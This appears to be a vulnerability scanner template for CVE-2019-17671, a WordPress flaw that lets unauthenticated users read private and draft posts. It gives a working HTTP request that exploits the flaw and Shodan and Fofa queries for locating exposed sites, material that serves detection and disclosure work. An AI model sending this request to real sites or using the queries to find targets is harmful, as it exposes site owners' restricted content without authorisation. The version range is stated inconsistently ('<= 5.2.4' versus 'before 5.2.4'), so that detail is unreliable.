| Title | WordPress <= 5.2.4 - Unauthenticated View Private/Draft Posts |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Unauthenticated users can view restricted content, leading to information disclosure. |
| Remediation | Update to WordPress 5.2.4 or later. |
| CVSS Score | 5.3 |
| EPSS Score | 0.82836 |
| CVE ID | CVE-2019-17671 |
| CWE ID | CWE-200 |
| Shodan Query | http.component:"wordpress" http.html:"status-draft" |
| Fofa Query | body="Wordpress" && body="status-draft" |
| Tags | cve cve2019 wp wordpress unauth disclosure |
WordPress before 5.2.4 contains an information disclosure caused by mishandling of the static query property, letting unauthenticated users view certain content, exploit requires no authentication.
GET /?static=1&order=asc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/11.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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